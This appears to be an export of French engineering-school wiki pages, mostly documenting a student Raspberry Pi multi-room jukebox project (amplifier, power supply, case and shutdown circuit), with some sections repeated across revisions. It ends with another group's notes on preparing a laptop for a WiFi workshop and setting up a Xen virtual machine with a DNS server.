[[Fichier:InfluenceCapaSortie.png|400px]] 
Plus la capacité de sortie est importante, plus on limite le ripple. 

=====Boîtier du module=====

Nous avons choisi de réaliser le boîtier du module en bois. En effet, cela nous permet d'utiliser la découpeuse laser du Fabricarium, et le rendu final est très esthétique. 
Il nous a suffi de nous rendre sur un site de [http://carrefour-numerique.cite-sciences.fr/fablab/wiki/doku.php?id=projets:generateur_de_boites génération de boîtes]. Une fois le fichier sauvegardé, nous y avons ajouté des trous de manière à y intégrer
* des LEDs diverses [[Fichier:SVG_Boite_P4.png|thumb|350px|SVG de la boite]]
* des boutons
* le bouton principal de volume sonore
* Un haut-parleur passif interne au module
* Un bornier pour y connecter un haut-parleur passif externe (8 ohms/50 Watts maxi)
* Un switch pour passer du haut-parleur externe au haut-parleur interne
* Le connecteur mâle IEC pour l'alimentation de l'amplificateur 
[[Fichier:P4_BoiteFinale.jpg|thumb|350px|Boite Finale]]

ainsi qu'un design musical. 

Toutes les instructions d'utilisation de la découpeuse laser du Fabricarium sont disponibles [http://www.fabricarium.fr/mediawiki-1.23.5/index.php?title=Speedy_400 à cette adresse]. 

=====Circuit ON/OFF=====

La Raspberry Pi étant à l'intérieur de la boîte et une connexion SSH non prévue dans le cahier des charges du projet, il est nécessaire de faire en sorte que celle-ci puisse être éteinte de manière propre. 
En effet, l'extinction "brutale" pourrait très facilement corrompre la carte SD présente sur la Raspberry Pi, et ainsi détruire toutes les configurations préalablement effectuées ! 
Pour "extinction brutale", comprenez
* Débranchement de la prise d'alimentation principale par l'utilisateur
* Coupure de courant

Nous avons donc pensé à un circuit à base de condensateurs et de relais : 
[[Fichier:DriverButtons_Schematics_2.png|700px]] 
Toute la partie '''non encadrée en rouge''' est le circuit ON/OFF "normal", comprenant les boutons sur lesquels l'utilisateur agira. 
La partie '''encadrée en rouge''' est le circuit de sécurité (lors d'une coupure de courant ou lorsque la prise est débranchée sans avoir appuyé sur OFF) 

'''Explication du circuit ON/OFF "normal" :''' 
Ce PCB devra être soudé entre la prise de courant et la RPi (au milieu donc d'un câble USB coupé en 2) 
*Quand le relai (REL1) est dans son état inactif (sur 1), le 5V arrivant de la prise de courant va charger le condensateur (C1).
*Quand le condensateur sera assez chargé, il activera les transistors 1 et 2 qui connecteront la bobine du relai (REL1) à la masse.
*Quand on appuiera sur le bouton ON (ON_BUTTON), le relai passera de 1 à 10 (dans son autre état), la RPi sera donc alimentée. Cependant, le condensateur se décharge ! Et donc les transistors seront désactivés et le relai aussi --> La RPi ne sera donc plus alimentée. 
Pour éviter cela, on active une sortie de la RPi (Pin 3 de "To GPIO) pour fournir du 3.3V, et donc maintenir le condensateur chargé, donc le relai actif sur la pin 10. La RPi reste donc bien alimentée.
*Pour l'extinction, on ajoute un retour (pin 6 de "To GPIO") qui va envoyer la valeur 1 lorsqu'on presse le bouton OFF (OFF_BUTTON). La LED (OFF_LED) s'allumera pour signaler à l'utilisateur que la RPi est en train de s'éteindre. Un script s'exécutera en même temps interrompant les programmes proprement, puis stoppant le 3.3V.
*Le condensateur se décharge donc, puis au bout d'environ 1 minute (temps réglé en fonction de la valeur du condensateur (C1)), les transistors sont désactivés, le relai (REL1) le sera donc aussi (en position 1), la RPi ne sera plus alimentée.
*On revient au début du cycle, le condensateur va se recharger, il ne restera plus qu'à presser le bouton ON (ON_BUTTON) quand on souhaitera allumer de nouveau la RPi. 

'''Explication du circuit de sécurité (encadré en rouge) :''' 
* Un boîtier de piles (accessible de l'extérieur) 4.5V est connecté à ce circuit (Suffisant pour alimenter la Raspberry Pi assez de temps pour l'extinction).
* La bobine du relai (REL2) en haut du schéma est directement alimentée par le 5V de la prise de courant. Lorsque ce relai (REL2) est alimenté, il est dans l'état 10, côté connecté à rien. Dans cette situation, rien de spécial ne se passe.
* Si la prise est débranchée ou s'il y a une coupure de courant, le relai (REL2) passera dans l'autre état (état 1) pour laisser les piles alimenter à leur tour la Raspberry Pi.
* Un signal est aussitôt envoyé à la Raspberry Pi (pin 2 de "To GPIO") pour lancer le script d'extinction de celle-ci.
* Lorsque la Raspberry Pi sera éteinte, elle ne fournira plus de courant au condensateur (C2) qui au bout de quelques secondes désactivera le transistor (T3) (tout en haut à droite). Par conséquent, les piles ne seront plus connectées à la Raspberry ce qui les préservera en stoppant leur fourniture de courant inutile. 

Le PCB associé (réalisé sous Altium) est le suivant : (il a déjà été testé et fonctionne correctement) 
(Face TOP / Face BOTTOM) 
[[Fichier:DriverButtons_3D_TOP.png|300px]] [[Fichier:DriverButtons_3D_BOT.png|299px]] 

***REVISION B*** : 
Transistor T3 (qui connecte la RPi à la masse) en mode passant dès le branchement de la prise 5V (dans cette version, le transistor est donc déjà passant avant même que la RPi soit allumée. Evite les bugs de fonctionnement : 

[[Fichier:DriverButtonsREVB_Schematics.png|500px]] 
[[Fichier:DriverButtonsREVB_3D_TOP.png|200px]] [[Fichier:DriverButtonsREVB_3D_BOT.png|199px]]

P4 Jukebox multi-pièces

Fichier:DriverButtons Schematics 2.png

2016-02-13T19:37:28Z

Jherin12 : a téléversé une nouvelle version de « Fichier:DriverButtons Schematics 2.png »

P4 Jukebox multi-pièces

2016-02-13T15:45:37Z

Jherin12 : /* Circuit ON/OFF */

==Cahier des charges==
===Présentation générale du projet===
====Contexte====

La diffusion de musique dans différentes pièces d'une maison est problématique si l'on veut avoir une source. Il serait possible de tirer des câbles mais cette solution n'est ni esthétique ni pratique (réseau peu reconfigurable).

====Objectif du projet====

Réaliser une plateforme permettant de jouer de la musique dans différentes pièces.
 [[Fichier:P4_Presentation_Modules.png|650px]]

====Description du projet====

Pour arriver au bout de ce projet, il conviendra de développer :

* Une enceinte embarquant un amplificateur audio et un système Wifi pour recevoir le flux de données
* Une application sur PC afin de permettre le choix du flux musical à envoyer (chaque enceinte pourra recevoir un flux différent si souhaité) ainsi que le contrôles habituels (volume, corrections, ...)
* Une application sur Smartphone permettant de commander le système

====Choix techniques : matériel et logiciel====

'''Matériel envisagé :'''

* Plateforme Linux embarqué (Raspberry Pi)
* [http://electronics-diy.com/schematics/1318/50w-lm3886-power-amplifier-2.gif Amplificateur de puissance à base de LM3886] (Coût plus important, meilleure qualité, puissance de sortie plus importante)
* [http://www.sonelec-musique.com/images/electronique_ampli_bf_lm386.gif Amplificateur de puissance à base de LM386] (Coût moins important, moins bonne qualité, puissance de sortie plus faible)
* [http://www.gotronic.fr/art-paire-d-enceintes-sp3v-13522.htm Haut parleur 8 Ohm]

* Possibilité d'utiliser également des haut parleurs actifs avec la Raspberry Pi 

'''Logiciels envisagés :'''

* Création d'une application pour Android avec Android Studio
* Utilisation des logiciels intégrés pour les autres plateformes (AirPlay, Windows Media player)

 

====Architecture des modules====
=====Présentation des modules=====

[[Fichier:P4_Sol1.png|320px|thumb|right|Type #1]]
[[Fichier:P4_Sol2.png|320px|thumb|right|Type #2]]

Pour clarifier les choses, nous appellerons '''« module »''' le haut-parleur et ses équipements embarqués, la partie applicative pour streamer la musique étant mise de côté. 
Dans le cadre de ce projet, nous sommes partis sur '''deux types de module distincts''' puisque nous souhaitons proposer au public une '''solution modulaire et non fermée'''.
 Dans les deux solutions, nous avons choisi d’ajouter à la Raspberry Pi une carte son USB afin d’améliorer considérablement la qualité sonore que nous envoyons vers le haut-parleur.

=====Type de module 1=====

Le premier module embarque une '''Raspberry Pi avec MusicBox''' pour la réception de la musique ainsi qu’une '''carte son USB'''. 
Cette solution permet à l’utilisateur de brancher '''n’importe quel haut-parleur actif''' à la carte son avec un connecteur jack 3.6 mm. Il pourra ainsi '''garder son propre haut-parleur''' s’il le désire.

=====Type de module 2=====

Le second module embarque lui aussi une '''Raspberry Pi avec MusicBox''' ainsi qu’une '''carte son USB'''.
 Cependant nous proposons en plus dans celui-ci un '''amplificateur audio''' auquel nous connecterons un '''haut-parleur passif'''. 
L’avantage de cette solution est de '''maîtriser la qualité audio du haut-parleur''' pour notre utilisateur et de ne fournir qu’une seule « boite » avec '''solution toute intégrée'''.

 
Les modules seront connectés à un réseau Wi-Fi domestique sur lequel un smartphone ou un ordinateur envoyant la musique y seront aussi connectés.
 [[Fichier:P4_Principe_Chaine_Transmission.png|500px]] 

===Étapes du projet===

* Définition du cadre du projet
* Création du cahier des charges
* Création de l'enceinte connectée (boitier, circuit d'amplification, logiciels de la plateforme Linux embarquée)
* Développement du logiciel de diffusion de l'ordinateur central
* Développement de l'application mobile

=== Objectifs à long terme ===

=====Une solution DIY pour des coûts maitrisés=====

Un des objectifs importants de ce projet est le coût puisque nous verrons par la suite après établissement d’un état de l’art (Sprint 2) qu’un haut-parleur multi-room dans le commerce se trouve dans une fourchette de prix allant de 100 à 500 euros. Il est donc évident que l’achat d’une enceinte par pièce revient très rapidement assez cher. 

Notre but sera donc d’obtenir un module ayant un coût maximum de 80 euros pour une solution prête à l’emploi. La modularité du projet permettra à l’utilisateur de mettre le prix qu’il souhaite pour la qualité sonore de son choix (un haut-parleur actif pour le module 1, un couple amplificateur/haut-parleur pour le module 2). 

Le danger majeur porte sur la qualité audio qui diminue très rapidement quand le coût baisse. La somme de 80 euros est un bon compromis pour notre projet.
Nous avons aussi vu très récemment que la Raspberry Pi Zero à 6 euros d’une puissance suffisante pour notre projet était disponible, contre une trentaine d’euros pour la solution actuelle. Elle a également l’avantage d’être beaucoup plus compacte que le modèle B+. 
Cette solution permettra dans le futur de pouvoir faire diminuer le coût total du projet pour une personne voulant le réaliser par la suite. 

==Suivi de l'avancement du Projet==

'''Planning prévisionnel mis à jour :''' 
[[Fichier:P4 Gantt.png|1000px]]

===Semaine 1 (21/09/2015)===

Nous avons fait des recherches sur des solutions déjà existantes pour diffuser de la musique dans plusieurs pièces d'une maison. Samsung propose déjà un système permettant de diffuser plusieurs flux différents dans différentes pièces via le réseau wifi du domicile, cependant le prix pour un module d'entrée de gamme est d'environ 150€. 

Nous avons également pensé à une première architecture matérielle de notre projet qui consisterait en :

* La Raspberry pi qui recevrait le flux via le réseau wifi
* Une carte son USB pour améliorer la qualité du signal
* Un amplificateur de puissance pour amplifier le signal en sortie de la carte son
* Des enceintes passive pour diffuser la musique

Voici une première version du devis pour un module wifi avec deux enceintes : [https://docs.google.com/spreadsheets/d/1zY-wZ5dp6-4V5MpXp7nPTk747dZ_c5XflT7HJquc2lw/edit#gid=0 lien]

===Semaine 2 (28/09/2015)===

Nous avons pu discuter avec Rodolphe Astori et Alexandre Boé ce qui nous a permis de définir plus précisément la teneur du projet. L'objectif principal de ce projet est de développer une solution "low cost" que n'importe quel étudiant pourrait réaliser au Fablab, tout cela pour un faible coût (moins de 100 euros). 

En effet, ce type de système déjà existants sur le marché présente un coût très important, allant de 200 euros pour Sonos et Bose jusqu'à 400 euros '''par haut-parleur'''. 

Les points clés du projet seraient :
* Entièrement réalisable soi-même
* Coût maîtrisé
* Modulable
* Possibilité de pouvoir choisir la gamme de chaque module (amplificateur de meilleur qualité mais plus cher...)
 

===Fonctionnement par SPRINT===
[[Fichier:P4_Scrum_logo.jpg|thumb|right|Logo Scrum]]
Nous nous sommes également convenus avec Rodolphe Astori de procéder par '''"sprint"''', c'est à dire d'essayer de réaliser un système fonctionnel le plus rapidement possible, et de faire un point sur notre réalisation au bout de 15 jours. Si au bout de ces 15 jours, le projet prend la direction voulue, on continue dans cette voie, sinon on revoit le cahier des charges.
Il est également essentiel de faire des points très régulièrement (une à deux fois par semaine) pour faire ressortir les éventuelles difficultés rencontrées. 
 

===Sprint #1 (15/10/2015) Objectif : Envoyer un flux musical vers une enceinte déjà existante===

====Préparation====

A la fin des recherches préliminaires nous avons alors défini les objectifs à atteindre en fin de sprint 1. Il s’agissait d’arriver à streamer une musique depuis un appareil quelconque, vers une Raspberry Pi Connectée à une enceinte. 

Nous avons alors pris la décision de partir sur une application destinée à fonctionner sur un PC. Nous avons choisi de développer cette application en C++, en utilisant le framework Qt, car il permet la réalisation de programmes graphiques sur toutes les plates formes. 

On a alors commencé à développer une application en C++ tout en cherchant des méthodes pour arriver à streamer simplement sur la Raspberry Pi. Une des voies envisagée était d’utiliser une librairie VLC intégrable à Qt disponible sur le site vlc-qt.tano.si. L’avantage de passer par VLC pour streamer un flux musical est que c’est un logiciel open source, disponible à la fois sur Windows, Linux, Mac OS et qui s’intègre parfaitement à Qt. 
On a également réussi à streamer un flux musical depuis VLC, ainsi que depuis un Mac, en installant SharePort, vers la Raspberry Pi.

====Réunion====
[[Fichier:P4_Sprint1.jpg|thumb|right|400px|Stream depuis un Mac]]
A la fin du sprint, on a alors effectué un retour sur ce qu’on avait fait avec nos tuteurs ainsi que Jean-Eude Laurenge. On n’a malheureusement pu faire la démonstration que du stream depuis un Mac. 
On a alors rediscuté de l’avancement du projet et des objectifs futurs. En effet, la démonstration n’était pas convaincante, et assez restreinte par rapport au résultat attendu. 

====Etat en fin de sprint====

On a déterminé ensemble qu’il était alors nécessaire pour le sprint 2 de :
*Réaliser une veille technologique complète sur les solutions existantes
*Se concentrer sur l’application mobile dans un premier temps.
En effet, l’intérêt principal de pouvoir streamer de la musique dans plusieurs pièces à la fois est de pouvoir contrôler la musique tout en se déplaçant. L’intérêt de contrôler le flux musical à l’aide d’un PC est donc assez limité.

 

===Sprint #2 (10/11/2015) Objectif : Envoyer deux flux musicaux différents vers deux enceintes déjà existantes===
====Préparation====
=====Veille technologique=====

Dans un premier temps il s’agissait de réaliser une veille technologique décrivant les solutions existantes autant au niveau logiciel et matériel DIY que celles commercialisées par des marques connues. 
Il fallait également arriver à streamer de la musique vers au moins deux enceintes en utilisant les solutions trouvées.

 
Les solutions commercialisées (sous le nom d'enceintes multiroom) sont les suivantes :
 
[[Fichier:P4_veilletechno.png|500px]] 

=====Pi MusicBox=====

Pour la Raspberry Pi nous avons choisi d’installer un '''OS Linux modifié nommé MusicBox'''. Ce système d’exploitation est prévu pour gérer les flux musicaux. 
En effet, il intègre un '''serveur DLNA''', [[Fichier:P4_DLNA_logo.jpg|thumb|right|200px]] la possibilité d’y associer un compte Spotify ou encore de streamer un flux Youtube ou une musique située sur une clé USB branchée à la Raspberry. 
Il dispose également d’une interface web qui permet de contrôler facilement tous les flux et son code est entièrement open source. C’est donc la solution idéale pour streamer facilement de la musique depuis un mobile en utilisant le DLNA. 

Nous affichons directement l'interface de MusicBox depuis un ordinateur connecté au même réseau Wi-Fi : 
[[Fichier:P4_MUSICBOX.png|500px]]
 
 
Le protocole de streaming utilisé par MusicBox est le protocole [https://fr.wikipedia.org/wiki/Universal_Plug_and_Play UPnP] (pour Universal Plug and Play), un des nombreux protocoles de la [https://fr.wikipedia.org/wiki/Digital_Living_Network_Alliance Digital Living Network Alliance]. 
[[Fichier:P4_BUBBLEUPNP.png|60px|thumb|right|Application Android BubbleUPnP]]

Nous téléchargeons donc une application Android supportant le protocole '''UPnP''' pour tester l'envoi d'un flux audio du téléphone vers "BedRoom1" : [https://play.google.com/store/apps/details?id=com.bubblesoft.android.bubbleupnp&hl=fr BubbleUPnP]. 

Notre but sera maintenant de créer une application multi-plateformes disposant des mêmes fonctionnalités.
 

====Réunion====

Nous avons pu effectuer une démonstration d’une chaine complète. Nous avons réussi à diffuser deux musiques différentes depuis un même smartphone vers deux enceintes séparées. 
[[Fichier:P4_Sprint2.png|700px]]

====Etat en fin de sprint====

L’objectif fixé en début de sprint est donc atteint et nous avons pu définir de nouveaux objectifs pour le sprint suivant :
*Réaliser notre propre application et arriver à streamer une musique vers une enceinte
*Réaliser le PCB du circuit d’amplification à base de LM3886 

===Sprint #3 (05/01/2016) Objectif : Ampli audio & Réalisation de notre propre application Android===

====Préparation====
=====Application Android=====

Pour le sprint 3 nous nous sommes concentrés sur la réalisation d’une application Android. En effet, comme iOS dispose d’une solution intégrée déjà existante nous avons jugé n’il n’était pas nécessaire de développer une application dédiée.[[Fichier:P4_Android.jpg|200px|thumb|right|Notre application Android]]
 
Nous avons choisi de développer notre application en utilisant Android Studio. Cette application est donc réalisée en Java, et nous avons fait en sorte qu’elle soit compatible avec tous les téléphones disposant de la version 4.1 (Jelly Bean) ou plus. Cela permet qu’un maximum d’utilisateurs puisse profiter de l’application tout en la rendant compatible avec les versions récentes.
 
Dans un premier temps nous avons créé une activity '''Android''' standard disposant d’un panneau latéral qui nous permettra par la suite de rajouter les fonctions de recherche de serveur DLNA.
Dans un second temps nous avons créé une classe '''Song''' qui contient les variables liées à chaque chanson et les méthodes nécessaires pour pouvoir les manipuler.
 
On a ensuite implanté une barre permettant de contrôler la lecture (lecture, pause, chanson suivante…). Les contrôles étant déjà présents dans le service « Media Player » il était seulement nécessaire de rajouter le widget contenant notre barre à l’activité principale puis de lier les boutons aux contrôles.

 
Il a ensuite été nécessaire de créer une autre classe contenant les méthodes permettant de manipuler les chansons. Cette classe, nommée '''MusicService''', permet de lier la liste des chansons que l’on a récupérées dans l’'''Activity''' principale au lecteur de média. En effet, le lecteur de média est un service sous Android et est donc indispensable à lier si l’on veut lire un média quelconque.
 
Une fois ces étapes faites, nous avons affiché cette liste dans l’activité principale et l’avons trié par ordre alphabétique. On initialise alors le service permettant de lire les médias et on lit l’action de toucher une chanson dans la liste au démarrage de ce service. On a alors une première version du lecteur musical, qui pour l’instant est limitée à la lecture en local. 

=====Amplificateur Audio=====

Nous avons également réalisé le layout des deux PCB du module 2 : un pour l’amplification à base de LM3886 et un pour le circuit d’alimentation. Afin de dissiper sa chaleur importante lors de l’utilisation de l’amplificateur, nous avons commandé un dissipateur thermique sur lequel nous visserons le LM3886.[[Fichier:P4_Ampli_Schema.jpg|300px|thumb|right|Schema audio à base de LM3886]]
 
Nous nous sommes fortement inspirés de l’amplificateur ci-contre où les informations sur le [http://www.schema-electronique.net/2011/12/un-amplificateur-final-hi-fi-de-40-70.html site correspondant] sont très détaillées et nous permettent de comprendre l’importance de beaucoup de composants dans un amplificateur audio.
 
Par rapport au circuit d’origine, nous avons ajouté une LED de fonctionnement de l’amplificateur, un switch ON/OFF ainsi qu’un potentiomètre rotatif pour pouvoir agir sur le volume sonore.
 
Pour l’entrée audio, l’utilisateur trouvera en façade de l’amplificateur une entrée stéréo RCA ainsi qu’une entrée jack 3.6 mm. Pour la sortie, nous avons prévu un bornier standard pour connexion de haut-parleur ainsi qu’une sortie jack femelle 3.6 mm. 
[[Fichier:P4_BornierClassic.jpg|170px|Bornier 2.1]]
 
La version quasiment finale du PCB est donc la suivante :
 [[Fichier:P4_PCB_Ampli.PNG|470px]]
 
'''Principe de l'Amplificateur Audio'''
 
[[Fichier:P4_Ampli_Principe.png|600px]] 

 
Nous avons commandé
*les derniers connecteurs nécessaires à la réalisation de cette carte (et la carte d'alimentation (carte 2/2)) 
*un '''dissipateur thermique''' pour dissiper la chaleur du LM3886. 
[http://www.audiophonics.fr/fr/kits-modules-diy-radiateurs/radiateur-dissipateur-thermique-anodise-noir-78x47x30mm-p-9299.html Dissipateur thermique 70x40x10(Lxlxh)(mm) ]

====Etat en fin de sprint====

Les objectifs de ce sprint n’ont donc pas tout à fait été atteints :
*Le lecteur Android ne permet pour l’instant que de lire localement les musiques
*Le PCB n’a pas encore été tiré
Il est donc nécessaire pour le sprint suivant de corriger au plus vite ces deux points de manière à ce que le projet puisse aboutir. Les objectifs pour le sprint suivant sont donc de faire en sorte d’arriver à streamer un flux musical vers une enceinte avec notre application ainsi que de tirer les PCB, les souder et commencer les tests.
 

===Sprint #4 (18/01/2016) Objectif : Envoyer une musique via la chaine de transmission avec notre ampli audio===

====Préparation====

'''Partie Hardware'''

=====Amplificateur=====

La version finale de notre carte d'amplificateur est la suivante :
 
[[Fichier:Ampli_2D.png|400px]] [[Fichier:Ampli_Photo.jpg|400px]]
 
Un dissipateur a été fixé sur l'amplificateur (composant rectangulaire noir visible en haut de la carte sur la photo). 
Nous avons testé la carte avec une alimentation de labo +/-25V. Elle est tout à fait fonctionnelle. 

=====Alimentation=====

Dans la version finale du projet, l'amplificateur devra être alimenté en +/-25V avec une carte d'alimentation intégrée au module. 
[[Fichier:Schema-allimentation.jpg|thumb|330px|Schéma de base d'une alimentation]]

Nous nous sommes alors basés sur un schéma classique d'alimentation (pour passer d'un courant alternatif à un courant continu). 
Son principe de fonctionnement est le suivant : 

Le signal fourni par les bobines secondaires du transformateur 220/18V est le suivant : 
[[Fichier:Principe_Alim_1.png|400px]] 

Après double redressement par les bobines, on se retrouve avec ce signal : 
[[Fichier:Principe_Alim_2.png|400px]] 

Après filtrage par les condensateurs, on se retrouve avec un signal lissé : 
[[Fichier:Principe_Alim_3.png|400px]] 

La différence entre les tensions maximum et minimum de la tension au borne des condensateurs est appelée tension de "ronflement". 
Notre but est donc de diminuer cet écart afin d'obtenir une alimentation la plus stable possible pour notre amplificateur, au risque de détériorer le matériel ! 

On a donc ajouté un filtre CRC, visible sur le schéma suivant (schéma final de notre alimentation) : 
[[Fichier:Supply Schematics.png|700px]] 
NB : Le composant "KB1" est notre pont de Graetz (pont de diodes). 

Afin de bien dimensionner les composants, nous avons effectué diverses simulations sous Altium Designer. 
On ne se basera que sur les composants de la moitié supérieure (C1, C3, R1, C5 et C7) car les résultats seront les mêmes pour les autres puisqu'il s'agit d'une alimentation symétrique. 
* Influence de la valeur capacitive d'entrée du filtre (C1+C3) 
[[Fichier:InfluenceCapaEntree.png|400px]] 
Plus elle est élevée, plus la tension efficace de sortie sera élevée. 
* Influence de la valeur de R1 
[[Fichier:InfluenceResistance.png|400px]] 
Moins la résistance est élevée, plus la tension de sortie est importante. (Mais on augmente le ripple) 
* Influence de la valeur capacitive de sortie du filtre (C5+C7) 
[[Fichier:InfluenceCapaSortie.png|400px]] 
Plus la capacité de sortie est importante, plus on limite le ripple. 

=====Boîtier du module=====

Nous avons choisi de réaliser le boîtier du module en bois. En effet, cela nous permet d'utiliser la découpeuse laser du Fabricarium, et le rendu final est très esthétique. 
Il nous a suffit de nous rendre sur un site de [http://carrefour-numerique.cite-sciences.fr/fablab/wiki/doku.php?id=projets:generateur_de_boites génération de boîtes]. Une fois le fichier sauvegardé, nous y avons ajouté des trous de manière à y intégrer
* des LEDs diverses [[Fichier:SVG_Boite_P4.png|thumb|350px|SVG de la boite]]
* des boutons
* le bouton principal de volume sonore
* Un haut-parleur passif interne au module
* Un bornier pour y connecter un haut-parleur passif externe (8 ohms/50 Watts maxi)
* Un switch pour passer du haut-parleur externe au haut-parleur interne
* Le connecteur mâle IEC pour l'alimentation de l'amplificateur 
[[Fichier:P4_BoiteFinale.jpg|thumb|350px|Boite Finale]]

ainsi qu'un design musical. 

Toutes les instructions d'utilisation de la découpeuse laser du Fabricarium sont disponibles [http://www.fabricarium.fr/mediawiki-1.23.5/index.php?title=Speedy_400 à cette adresse]. 

=====Circuit ON/OFF=====

La Raspberry Pi étant à l'intérieur de la boîte et une connexion SSH non prévue dans le cahier des charges du projet, il est nécessaire de faire en sorte que celle-ci puisse être éteinte de manière propre. 
En effet, l'extinction "brutale" pourrait très facilement corrompre la carte SD présente sur la Raspberry Pi, et ainsi détruire toutes les configurations préalablement effectuées ! 
Pour "extinction brutale", comprenez
* Débranchement de la prise d'alimentation principale par l'utilisateur
* Coupure de courant

Nous avons donc pensé à un circuit à base de condensateurs et de relais : 
[[Fichier:DriverButtons_Schematics_2.png|700px]] 
Toute la partie '''non encadrée en rouge''' est le circuit ON/OFF "normal", comprenant les boutons sur lesquels l'utilisateur agira. 
La partie '''encadrée en rouge''' est le circuit de sécurité (lors d'une coupure de courant ou lorsque la prise est débranchée sans avoir appuyé sur OFF) 

'''Explication du circuit ON/OFF "normal" :''' 
Ce PCB devra être soudé entre la prise de courant et la RPi (au milieu donc d'un câble USB coupé en 2) 
*Quand le relai (REL1) est dans son état inactif (sur 1), le 5V arrivant de la prise de courant va charger le condensateur (C1).
*Quand le condensateur sera assez chargé, il activera les transistors 1 et 2 qui connecteront la bobine du relai (REL1) à la masse.
*Quand on appuiera sur le bouton ON (ON_BUTTON), le relai passera de 1 à 10 (dans son autre état), la RPi sera donc alimentée. Cependant, le condensateur se décharge ! Et donc les transistors seront désactivés et le relai aussi --> La RPi ne sera donc plus alimentée. 
Pour éviter cela, on active une sortie de la RPi (Pin 3 de "To GPIO) pour fournir du 3.3V, et donc maintenir le condensateur chargé, donc le relai actif sur la pin 10. La RPi reste donc bien alimentée.
*Pour l'extinction, on ajoute un retour (pin 6 de "To GPIO") qui va envoyer la valeur 1 lorsqu'on presse le bouton OFF (OFF_BUTTON). La LED (OFF_LED) s'allumera pour signaler à l'utilisateur que la RPi est en train de s'éteindre. Un script s'exécutera en même temps interrompant les programmes proprement, puis stoppant le 3.3V.
*Le condensateur se décharge donc, puis au bout d'environ 1 minute (temps réglé en fonction de la valeur du condensateur (C1)), les transistors sont désactivés, le relai (REL1) le sera donc aussi (en position 1), la RPi ne sera plus alimentée.
*On revient au début du cycle, le condensateur va se recharger, il ne restera plus qu'à presser le bouton ON (ON_BUTTON) quand on souhaitera allumer de nouveau la RPi. 

'''Explication du circuit de sécurité (encadré en rouge) :''' 
* Un boîtier de piles (accessible de l'extérieur) 4.5V est connecté à ce circuit (Suffisant pour alimenter la Raspberry Pi assez de temps pour l'extinction).
* La bobine du relai (REL2) en haut du schéma est directement alimentée par le 5V de la prise de courant. Lorsque ce relai (REL2) est alimenté, il est dans l'état 10, côté connecté à rien. Dans cette situation, rien de spécial ne se passe.
* Si la prise est débranchée ou s'il y a une coupure de courant, le relai (REL2) passera dans l'autre état (état 1) pour laisser les piles alimenter à leur tour la Raspberry Pi.
* Un signal est aussitôt envoyé à la Raspberry Pi (pin 2 de "To GPIO") pour lancer le script d'extinction de celle-ci.
* Lorsque la Raspberry Pi sera éteinte, elle ne fournira plus de courant au condensateur (C2) qui au bout de quelques secondes désactivera le transistor (tout en haut à droite). Par conséquent, la Raspberry Pi ne sera plus connecté à la masse ce qui préservera les piles en stoppant leur fourniture de courant inutile. 

Le PCB associé (réalisé sous Altium) est le suivant : (il a déjà été testé et fonctionne correctement) 
[[Fichier:DriverButtons_3D_TOP.png|300px]]

P4 Jukebox multi-pièces

Fichier:Ampli 2D.png

2016-02-13T13:54:28Z

Jherin12 :

Cahier groupe n°10

2016-01-17T16:13:32Z

Jherin12 : /* Création du serveur DNS */

== Introduction ==

Le but du Projet de Réseau et Administration (PRA) est dans un premier temps de réaliser une tâche particulière différente pour chaque groupe, puis dans un deuxième temps de traiter une partie commune. Notre tâche consiste à mettre en place un "atelier" permettant d'essayer de craquer des réseaux wifi.

== Crack Wifi ==

=== Objectif ===

Le but de cette tâche est d'installer dans un premier temps Debian sur un ordinateur portable dont l'écran ne s'allume plus, puis dans un deuxième temps de le configurer de manière à pouvoir brancher 8 cartes wifi en USB et les connecter à des SSID différents diffusés par une borne.

=== Réalisation ===

Dans un premier temps nous avons fait des recherches pour savoir quelles méthodes on pouvait utiliser pour installer un PC sans avoir besoin de l'écran, et les deux principales sont :

* Sortir le disque dur du PC portable et le mettre sur une Zabeth, installer Debian sur ce disque, puis le remettre dans l'ordinateur
* Pré-seed une ISO de Debian

Après avoir ouvert l'ordinateur portable, on s'est aperçu que le disque était en réalité un SSD conecté en mSATA. Comme nous ne disposons pas d'adaptateur mSATA vers SATA et que les cartes mères des Zabteh n'ont pas de ports adaptés, nous n'avons pas pu procéder de cette manière. 

Pré-seed une ISO consiste à y ajouter un fichier de configuration qui permet d'activer par défaut le SSH et à communiquer tous les choix demandé à l'utilisateur lors de l'installation du système d'exploitation via le réseau. 

Cependant, avant d'essayer cette deuxième méthode, nous voulions dans un premier temps essayer de démonter le PC et de retirer la carte graphique dédiée. En effet, la génération de processeur dont est équipé cet ordinateur dispose d'un chipset graphique intégré. Ainsi, en retirant la carte graphique dédiée nous espérions que le chipset intégré prenne le relais et ainsi récupérer l'affichage. 

Nous avons alors démonté l'ordinateur pour pouvoir retirer la carte graphique. Nous nous sommes alors aperçu que le chipset Intel intégré prenait bien le relais. Nous avons alors remonté l'ordinateur et ainsi pu procéder à l'installation de Debian Jessie.

==== Installation d'une nouvelle carte graphique ====

Comme une nouvelle carte graphique a été reçue (une Nvidia Quadro M1000), nous avons re-démonté le PC afin de l'installer. Nous avons alors refixé les caloducs et changé la pâte thermique du processeur et de la carte graphique. 
Une fois le PC remonté, nous avons téléchargé le pilote Nvidia officiel, puis nous l'avons installé. Après un reboot de la machine, nous avons pu constater que la carte graphique était bien fonctionnelle.

== Services internet ==

=== Création de la machine virtuelle ===

Nous avons tout d'abord créé une machine virtuelle sur le dom0 du serveur cordouan.insecserv.deule.net. Pour celà nous nous somme connectés en ssh :

ssh root@cordouan.insecserv.deule.net

Puis nous avons créé la VM avec les paramètres suivants :

xen-create-image --hostname=DELIRIUM --dist=jessie --dir=/usr/local/xen --gateway=193.48.57.174 --ip=193.48.57.170

Nous avons ensuite modifié le fichier DELIRIUM.cfg de manière à augmenter la mémoire de notre machine virtuelle à 512MB puis lancé la VM avec la commande suivante :

xl create /etc/xen/DELIRIUM.cfg

Une fois la machine virtuelle démarrée nous avons pu nous y connecter grâce à la commande :

xl console DELIRIUM

=== Préparation de la machine ===

Pour réaliser le TP nous avions besoin d'installer les paquets ssh, apache2 et bind9. 

Après avoir modifié le fichier /etc/ssh/sshd_config de manière à pouvoir se connecter directement en tant que root via le ssh nous avons lancé Apache de manière à ce qu'il fasse tourner un site internet basique. A cette étape, le site était alors accessible via son adresse ip : 193.48.57.170

=== Création du serveur DNS / Sécurisation par DNSSEC ===

Nous sommes tout d'abord allés sur '''gandi.net''' et nous avons choisi le nom de domaine '''delirium.lol''', qui incluait également un certificat ssl. Une fois le nom de domaine livré, nous sommes allés sur la page de configuration et avons choisi notre serveur comme DNS principal. Nous avons également modifié les glue records afin que '''ns.delirium.lol''' soit associé à l'adresse '''193.48.57.170'''. 
